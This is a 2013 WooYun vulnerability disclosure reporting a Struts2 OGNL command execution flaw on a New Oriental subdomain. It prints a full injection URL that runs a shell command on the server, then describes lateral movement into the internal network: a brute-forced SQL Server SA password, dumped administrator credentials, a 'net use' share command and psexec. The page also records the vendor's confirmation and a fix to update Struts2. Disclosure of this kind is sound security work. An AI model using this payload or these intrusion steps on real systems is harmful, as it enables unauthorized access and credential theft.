当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-024204

漏洞标题：新东方某分站任意命令执行漏洞 (内网渗透危害较大请尽快修复)

相关厂商：新东方

漏洞作者： 猪猪侠

提交时间：2013-05-21 13:09

修复时间：2013-07-05 13:10

公开时间：2013-07-05 13:10

漏洞类型：应用配置错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-21： 细节已通知厂商并且等待厂商处理中
2013-05-21： 厂商已经确认，细节仅向厂商公开
2013-05-31： 细节向核心白帽子及相关领域专家公开
2013-06-10： 细节向普通白帽子公开
2013-06-20： 细节向实习白帽子公开
2013-07-05： 细节向公众公开

简要描述：

最近看了《中国合伙人》，听说以新东方为原型。
前两天提交了两个问题，给的分都很少，不是太满意，今天就再深入一下，发现新东方某分站存在严重命令执行风险，可直接内网渗透，危害十分严重。

详细说明：

ceping2.xdf.cn 分站，命令执行漏洞。

http://ceping2.xdf.cn/ucan/eps/epsreport.action?class.classLoader.jarPath=(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d+new+java.lang.Boolean(false)%2c+%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c+%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27/sbin/ifconfig%20-a%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23s3cur1ty%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23s3cur1ty.println(%23d)%2c%23s3cur1ty.close())(aa)&x[(class.classLoader.jarPath)('aa')]


服务器在内网

0.jpg


翻了一些配置文件，在JDBC处找到一台SQLServer，直接暴破了SA密码，再DUMP了系统管理员密码。
net use \\内网ip\c$ /user:administrator "DUMP出来的密码"
写了个以上的批处理尝试密码，之后psexec.exe 内网50%机器直接系统权限。

漏洞证明：

危害程度很大，仅仅只做安全性测试，未对系统造成破坏：

-1.jpg

修复方案：

更新最新的Struts2组件，重新规划内网安全运营与安全管理方案。

版权声明：转载请注明来源 猪猪侠@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：19

确认时间：2013-05-21 13:28

厂商回复：

感谢提供，我们会尽快确认并修复。

最新状态：

暂无